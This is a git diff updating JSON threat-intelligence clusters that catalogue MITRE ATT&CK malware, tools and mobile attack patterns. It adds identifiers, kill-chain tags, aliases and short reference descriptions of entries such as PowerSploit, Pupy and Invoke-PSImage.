+ "https://attack.mitre.org/wiki/Software/S0233",
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
+ ],
+ "external_id": "S0233",
+ "synonyms": [
+ "MURKYTOP"
+ ]
+ },
+ "uuid": "049ff071-0b3c-4712-95d2-d21c6aa54501"
+ },
{
"description": "OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: OnionDuke",
"value": "OnionDuke - S0052",
@@ -2135,12 +2787,27 @@
"https://attack.mitre.org/wiki/Software/S0052",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0052",
"synonyms": [
"OnionDuke"
]
},
"uuid": "b136d088-a829-432c-ac26-5529c26d4c7e"
},
+ {
+ "description": "JPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: JPIN\n\nContributors: Ryan Becwar",
+ "value": "JPIN - S0201",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0201"
+ ],
+ "external_id": "S0201",
+ "synonyms": [
+ "JPIN"
+ ]
+ },
+ "uuid": "de6cb631-52f6-4169-a73b-7965390b0c30"
+ },
{
"description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)\n\nAliases: LOWBALL",
"value": "LOWBALL - S0042",
@@ -2149,6 +2816,7 @@
"https://attack.mitre.org/wiki/Software/S0042",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
],
+ "external_id": "S0042",
"synonyms": [
"LOWBALL"
]
@@ -2156,13 +2824,31 @@
"uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b"
},
{
- "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013. (Citation: FireEye APT17)\n\nAliases: BLACKCOFFEE",
+ "description": "is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)\n\nAliases: Wiarp",
+ "value": "Wiarp - S0206",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0206",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-1005-99"
+ ],
+ "external_id": "S0206",
+ "synonyms": [
+ "Wiarp"
+ ]
+ },
+ "uuid": "039814a0-88de-46c5-a4fb-b293db21880a"
+ },
+ {
+ "description": "BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)\n\nAliases: BLACKCOFFEE",
"value": "BLACKCOFFEE - S0069",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0069",
- "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf"
+ "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf",
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
+ "external_id": "S0069",
"synonyms": [
"BLACKCOFFEE"
]
@@ -2170,7 +2856,7 @@
"uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43"
},
{
- "description": "Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)\n\nAliases: Derusbi",
+ "description": "Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)\n\nAliases: Derusbi, PHOTO",
"value": "Derusbi - S0021",
"meta": {
"refs": [
@@ -2179,8 +2865,10 @@
"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/",
"https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf"
],
+ "external_id": "S0021",
"synonyms": [
- "Derusbi"
+ "Derusbi",
+ "PHOTO"
]
},
"uuid": "94379dec-5c87-49db-b36e-66abc0b81344"
@@ -2195,6 +2883,7 @@
"https://www.youtube.com/watch?v=fevGZs0EQu8",
"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
],
+ "external_id": "S0169",
"synonyms": [
"RawPOS",
"FIENDCRY",
@@ -2212,6 +2901,7 @@
"https://attack.mitre.org/wiki/Software/S0091",
"https://securelist.com/the-epic-turla-operation/65545/"
],
+ "external_id": "S0091",
"synonyms": [
"Epic",
"Tavdig",
@@ -2231,6 +2921,7 @@
"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf"
],
+ "external_id": "S0010",
"synonyms": [
"Lurid",
"Enfal"
@@ -2246,6 +2937,7 @@
"https://attack.mitre.org/wiki/Software/S0066",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
+ "external_id": "S0066",
"synonyms": [
"3PARA RAT"
]
@@ -2253,7 +2945,7 @@
"uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a"
},
{
- "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH",
+ "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH, SofacyCarberp",
"value": "JHUHUGIT - S0044",
"meta": {
"refs": [
@@ -2263,12 +2955,14 @@
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
],
+ "external_id": "S0044",
"synonyms": [
"JHUHUGIT",
"Seduploader",
"JKEYSKW",
"Sednit",
- "GAMEFISH"
+ "GAMEFISH",
+ "SofacyCarberp"
]
},
"uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2"
@@ -2281,6 +2975,7 @@
"https://attack.mitre.org/wiki/Software/S0064",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
],
+ "external_id": "S0064",
"synonyms": [
"ELMER"
]
diff --git a/clusters/mitre-enterprise-attack-tool.json b/clusters/mitre-enterprise-attack-tool.json
index 8cb9666..91950cc 100644
--- a/clusters/mitre-enterprise-attack-tool.json
+++ b/clusters/mitre-enterprise-attack-tool.json
@@ -2,13 +2,29 @@
"name": "Enterprise Attack - Tool",
"type": "mitre-enterprise-attack-tool",
"description": "Name of ATT&CK software",
- "version": 3,
+ "version": 4,
"source": "https://github.com/mitre/cti",
"uuid": "fc1ea6e0-1707-11e8-ac05-2b70d00c354e",
"authors": [
"MITRE"
],
"values": [
+ {
+ "description": "is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)\n\nAliases: Winexe",
+ "value": "Winexe - S0191",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0191",
+ "https://github.com/skalkoto/winexe/",
+ "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"
+ ],
+ "external_id": "S0191",
+ "synonyms": [
+ "Winexe"
+ ]
+ },
+ "uuid": "96fd6cc4-a693-4118-83ec-619e5352d07d"
+ },
{
"description": "at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)\n\nAliases: at, at.exe",
"value": "at - S0110",
@@ -17,6 +33,7 @@
"https://attack.mitre.org/wiki/Software/S0110",
"https://technet.microsoft.com/en-us/library/bb490866.aspx"
],
+ "external_id": "S0110",
"synonyms": [
"at",
"at.exe"
@@ -32,6 +49,7 @@
"https://attack.mitre.org/wiki/Software/S0103",
"https://technet.microsoft.com/en-us/library/bb490991.aspx"
],
+ "external_id": "S0103",
"synonyms": [
"route",
"route.exe"
@@ -47,6 +65,7 @@
"https://attack.mitre.org/wiki/Software/S0057",
"https://technet.microsoft.com/en-us/library/bb491010.aspx"
],
+ "external_id": "S0057",
"synonyms": [
"Tasklist"
]
@@ -61,6 +80,7 @@
"https://attack.mitre.org/wiki/Software/S0005",
"http://www.ampliasecurity.com/research/wcefaq.html"
],
+ "external_id": "S0005",
"synonyms": [
"Windows Credential Editor",
"WCE"
@@ -76,6 +96,7 @@
"https://attack.mitre.org/wiki/Software/S0174",
"https://github.com/SpiderLabs/Responder"
],
+ "external_id": "S0174",
"synonyms": [
"Responder"
]
@@ -90,6 +111,7 @@
"https://attack.mitre.org/wiki/Software/S0111",
"https://technet.microsoft.com/en-us/library/bb490996.aspx"
],
+ "external_id": "S0111",
"synonyms": [
"schtasks",
"schtasks.exe"
@@ -105,6 +127,7 @@
"https://attack.mitre.org/wiki/Software/S0116",
"https://github.com/hfiref0x/UACME"
],
+ "external_id": "S0116",
"synonyms": [
"UACMe"
]
@@ -119,12 +142,28 @@
"https://attack.mitre.org/wiki/Software/S0101",
"https://en.wikipedia.org/wiki/Ifconfig"
],
+ "external_id": "S0101",
"synonyms": [
"ifconfig"
]
},
"uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5"
},
+ {
+ "description": "is a command line tool used to create and manage BITS Jobs. (Citation: Microsoft BITSAdmin)\n\nAliases: BITSAdmin",
+ "value": "BITSAdmin - S0190",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0190",
+ "https://msdn.microsoft.com/library/aa362813.aspx"
+ ],
+ "external_id": "S0190",
+ "synonyms": [
+ "BITSAdmin"
+ ]
+ },
+ "uuid": "64764dc6-a032-495f-8250-1e4c06bdc163"
+ },
{
"description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz\n\nContributors: Vincent Le Toux",
"value": "Mimikatz - S0002",
@@ -134,6 +173,7 @@
"https://github.com/gentilkiwi/mimikatz",
"https://adsecurity.org/?page%20id=1821"
],
+ "external_id": "S0002",
"synonyms": [
"Mimikatz"
]
@@ -148,6 +188,7 @@
"https://attack.mitre.org/wiki/Software/S0123",
"https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/"
],
+ "external_id": "S0123",
"synonyms": [
"xCmd"
]
@@ -155,19 +196,35 @@
"uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b"
},
{
- "description": "is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)\n\nAliases: MimiPenguin\n\nContributors: Vincent Le Toux",
+ "description": "MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)\n\nAliases: MimiPenguin\n\nContributors: Vincent Le Toux",
"value": "MimiPenguin - S0179",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0179",
"https://github.com/huntergregal/mimipenguin"
],
+ "external_id": "S0179",
"synonyms": [
"MimiPenguin"
]
},
"uuid": "5a33468d-844d-4b1f-98c9-0e786c556b27"
},
+ {
+ "description": "is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)\n\nAliases: SDelete",
+ "value": "SDelete - S0195",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0195",
+ "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"
+ ],
+ "external_id": "S0195",
+ "synonyms": [
+ "SDelete"
+ ]
+ },
+ "uuid": "d8d19e33-94fd-4aa3-b94a-08ee801a2153"
+ },
{
"description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)\n\nAliases: Systeminfo, systeminfo.exe",
"value": "Systeminfo - S0096",
@@ -176,6 +233,7 @@
"https://attack.mitre.org/wiki/Software/S0096",
"https://technet.microsoft.com/en-us/library/bb491007.aspx"
],
+ "external_id": "S0096",
"synonyms": [
"Systeminfo",
"systeminfo.exe"
@@ -191,6 +249,7 @@
"https://attack.mitre.org/wiki/Software/S0108",
"https://technet.microsoft.com/library/bb490939.aspx"
],
+ "external_id": "S0108",
"synonyms": [
"netsh",
"netsh.exe"
@@ -206,6 +265,7 @@
"https://attack.mitre.org/wiki/Software/S0105",
"https://technet.microsoft.com/en-us/library/cc732952.aspx"
],
+ "external_id": "S0105",
"synonyms": [
"dsquery",
"dsquery.exe"
@@ -221,6 +281,7 @@
"https://attack.mitre.org/wiki/Software/S0008",
"https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5"
],
+ "external_id": "S0008",
"synonyms": [
"gsecdump"
]
@@ -235,6 +296,7 @@
"https://attack.mitre.org/wiki/Software/S0097",
"https://technet.microsoft.com/en-us/library/bb490968.aspx"
],
+ "external_id": "S0097",
"synonyms": [
"Ping",
"ping.exe"
@@ -250,6 +312,7 @@
"https://attack.mitre.org/wiki/Software/S0120",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "S0120",
"synonyms": [
"Fgdump"
]
@@ -264,6 +327,7 @@
"https://attack.mitre.org/wiki/Software/S0121",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "S0121",
"synonyms": [
"Lslsass"
]
@@ -278,6 +342,7 @@
"https://attack.mitre.org/wiki/Software/S0122",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "S0122",
"synonyms": [
"Pass-The-Hash Toolkit"
]
@@ -292,6 +357,7 @@
"https://attack.mitre.org/wiki/Software/S0095",
"https://en.wikipedia.org/wiki/File%20Transfer%20Protocol"
],
+ "external_id": "S0095",
"synonyms": [
"FTP",
"ftp.exe"
@@ -307,6 +373,7 @@
"https://attack.mitre.org/wiki/Software/S0100",
"https://technet.microsoft.com/en-us/library/bb490921.aspx"
],
+ "external_id": "S0100",
"synonyms": [
"ipconfig",
"ipconfig.exe"
@@ -322,6 +389,7 @@
"https://attack.mitre.org/wiki/Software/S0102",
"https://technet.microsoft.com/en-us/library/cc940106.aspx"
],
+ "external_id": "S0102",
"synonyms": [
"nbtstat",
"nbtstat.exe"
@@ -337,6 +405,7 @@
"https://attack.mitre.org/wiki/Software/S0040",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf"
],
+ "external_id": "S0040",
"synonyms": [
"HTRAN",
"HUC Packet Transmit Tool"
@@ -352,6 +421,7 @@
"https://attack.mitre.org/wiki/Software/S0183",
"http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
],
+ "external_id": "S0183",
"synonyms": [
"Tor"
]
@@ -366,6 +436,7 @@
"https://attack.mitre.org/wiki/Software/S0104",
"https://technet.microsoft.com/en-us/library/bb490947.aspx"
],
+ "external_id": "S0104",
"synonyms": [
"netstat",
"netstat.exe"
@@ -381,6 +452,7 @@
"https://attack.mitre.org/wiki/Software/S0006",
"https://en.wikipedia.org/wiki/Pwdump"
],
+ "external_id": "S0006",
"synonyms": [
"pwdump"
]
@@ -395,12 +467,28 @@
"https://attack.mitre.org/wiki/Software/S0119",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "S0119",
"synonyms": [
"Cachedump"
]
},
"uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52"
},
+ {
+ "description": "Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)\n\nAliases: Forfiles\n\nContributors: Matthew Demaske, Adaptforward",
+ "value": "Forfiles - S0193",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0193",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)"
+ ],
+ "external_id": "S0193",
+ "synonyms": [
+ "Forfiles"
+ ]
+ },
+ "uuid": "90ec2b22-7061-4469-b539-0989ec4f96c2"
+ },
{
"description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\nNet has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using net use commands, and interacting with services.\n\nAliases: Net, net.exe",
"value": "Net - S0039",
@@ -410,6 +498,7 @@
"https://msdn.microsoft.com/en-us/library/aa939914",
"http://windowsitpro.com/windows/netexe-reference"
],
+ "external_id": "S0039",
"synonyms": [
"Net",
"net.exe"
@@ -426,6 +515,7 @@
"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx",
"https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive"
],
+ "external_id": "S0029",
"synonyms": [
"PsExec"
]
@@ -440,6 +530,7 @@
"https://attack.mitre.org/wiki/Software/S0160",
"https://technet.microsoft.com/library/cc732443.aspx"
],
+ "external_id": "S0160",
"synonyms": [
"certutil",
"certutil.exe"
@@ -455,6 +546,7 @@
"https://attack.mitre.org/wiki/Software/S0099",
"https://technet.microsoft.com/en-us/library/bb490864.aspx"
],
+ "external_id": "S0099",
"synonyms": [
"Arp",
"arp.exe"
@@ -473,6 +565,7 @@
"https://technet.microsoft.com/en-us/library/cc771049.aspx",
"https://technet.microsoft.com/en-us/library/bb490886.aspx"
],
+ "external_id": "S0106",
"synonyms": [
"cmd",
"cmd.exe"
@@ -481,12 +574,45 @@
"uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e"
},
{
- "description": "is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.\n\nAliases: meek",
+ "description": "Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)\n\nAliases: Havij",
+ "value": "Havij - S0224",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0224",
+ "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/"
+ ],
+ "external_id": "S0224",
+ "synonyms": [
+ "Havij"
+ ]
+ },
+ "uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5"
+ },
+ {
+ "description": "PowerSploit is an open source, offensive security framework compromised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)\n\nAliases: PowerSploit",
+ "value": "PowerSploit - S0194",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0194",
+ "https://github.com/PowerShellMafia/PowerSploit",
+ "http://www.powershellmagazine.com/2014/07/08/powersploit/",
+ "http://powersploit.readthedocs.io"
+ ],
+ "external_id": "S0194",
+ "synonyms": [
+ "PowerSploit"
+ ]
+ },
+ "uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d"
+ },
+ {
+ "description": "meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.\n\nAliases: meek",
"value": "meek - S0175",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0175"
],
+ "external_id": "S0175",
"synonyms": [
"meek"
]
@@ -502,6 +628,7 @@
"https://technet.microsoft.com/en-us/library/cc732643.aspx",
"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
],
+ "external_id": "S0075",
"synonyms": [
"Reg",
"reg.exe"
@@ -510,18 +637,79 @@
"uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f"
},
{
- "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nAliases: Cobalt Strike",
+ "description": "spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)\n\nAliases: spwebmember",
+ "value": "spwebmember - S0227",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0227",
+ "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+ ],
+ "external_id": "S0227",
+ "synonyms": [
+ "spwebmember"
+ ]
+ },
+ "uuid": "33b9e38f-103c-412d-bdcf-904a91fff1e4"
+ },
+ {
+ "description": "Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) Pupy is publicly available on GitHub. (Citation: GitHub Pupy)\n\nAliases: Pupy",
+ "value": "Pupy - S0192",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0192",
+ "https://github.com/n1nj4sec/pupy"
+ ],
+ "external_id": "S0192",
+ "synonyms": [
+ "Pupy"
+ ]
+ },
+ "uuid": "cb69b20d-56d0-41ab-8440-4a4b251614d4"
+ },
+ {
+ "description": "sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)\n\nAliases: sqlmap",
+ "value": "sqlmap - S0225",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0225",
+ "http://sqlmap.org/"
+ ],
+ "external_id": "S0225",
+ "synonyms": [
+ "sqlmap"
+ ]
+ },
+ "uuid": "9a2640c2-9f43-46fe-b13f-bde881e55555"
+ },
+ {
+ "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nAliases: Cobalt Strike\n\nContributors: Josh Abraham",
"value": "Cobalt Strike - S0154",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0154",
"https://cobaltstrike.com/downloads/csmanual38.pdf"
],
+ "external_id": "S0154",
"synonyms": [
"Cobalt Strike"
]
},
"uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39"
+ },
+ {
+ "description": "Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)\n\nAliases: Invoke-PSImage\n\nContributors: Christiaan Beek, @ChristiaanBeek",
+ "value": "Invoke-PSImage - S0231",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0231",
+ "https://github.com/peewpw/Invoke-PSImage"
+ ],
+ "external_id": "S0231",
+ "synonyms": [
+ "Invoke-PSImage"
+ ]
+ },
+ "uuid": "b52d6583-14a2-4ddc-8527-87fd2142558f"
}
]
}
diff --git a/clusters/mitre-mobile-attack-attack-pattern.json b/clusters/mitre-mobile-attack-attack-pattern.json
index 3b49cd9..67cf89f 100644
--- a/clusters/mitre-mobile-attack-attack-pattern.json
+++ b/clusters/mitre-mobile-attack-attack-pattern.json
@@ -2,7 +2,7 @@
"name": "Mobile Attack - Attack Pattern",
"type": "mitre-mobile-attack-attack-pattern",
"description": "ATT&CK tactic",
- "version": 2,
+ "version": 3,
"source": "https://github.com/mitre/cti",
"uuid": "1e606d06-1708-11e8-8a43-df11c8cf9ae2",
"authors": [
@@ -18,6 +18,10 @@
"http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html",
"https://srlabs.de/bites/rooting-sim-cards/"
],
+ "external_id": "MOB-T1057",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-cellular-network"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -35,6 +39,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html",
"https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps"
],
+ "external_id": "APP-1",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:general-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -53,6 +61,10 @@
"https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf",
"http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions"
],
+ "external_id": "EMM-5",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:defense-evasion"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -68,6 +80,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1022",
"https://zeltser.com/third-party-keyboards-security/"
],
+ "external_id": "MOB-T1022",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android"
]
@@ -83,6 +99,10 @@
"https://blog.lookout.com/blog/2013/08/02/dragon-lady/",
"https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google%20Android%20Security%202014%20Report%20Final.pdf"
],
+ "external_id": "MOB-T1051",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:effects"
+ ],
"mitre_platforms": [
"Android"
]
@@ -99,6 +119,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html",
"https://www.elcomsoft.com/eppb.html"
],
+ "external_id": "ECO-1",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cloud-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -115,6 +139,11 @@
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
],
+ "external_id": "APP-13",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection",
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android"
]
@@ -131,6 +160,10 @@
"http://dl.acm.org/citation.cfm?id=1920314",
"http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/"
],
+ "external_id": "PHY-2",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:lateral-movement"
+ ],
"mitre_platforms": [
"Android"
]
@@ -145,6 +178,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1019",
"https://tools.ietf.org/html/rfc7636"
],
+ "external_id": "MOB-T1019",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android"
]
@@ -163,6 +200,10 @@
"http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html",
"https://www.fireeye.com/blog/threat-research/2015/02/ios%20masque%20attackre.html"
],
+ "external_id": "AUT-10",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"iOS"
]
@@ -177,6 +218,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1031",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html"
],
+ "external_id": "APP-32",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:lateral-movement"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -194,6 +239,11 @@
"https://source.android.com/security/verifiedboot/",
"https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
],
+ "external_id": "APP-27",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:defense-evasion",
+ "mitre-mobile-attack:mobile-attack:persistence"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -210,6 +260,10 @@
"https://zeltser.com/third-party-keyboards-security/",
"http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on"
],
+ "external_id": "MOB-T1029",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -224,6 +278,10 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1026"
],
+ "external_id": "MOB-T1026",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -239,6 +297,10 @@
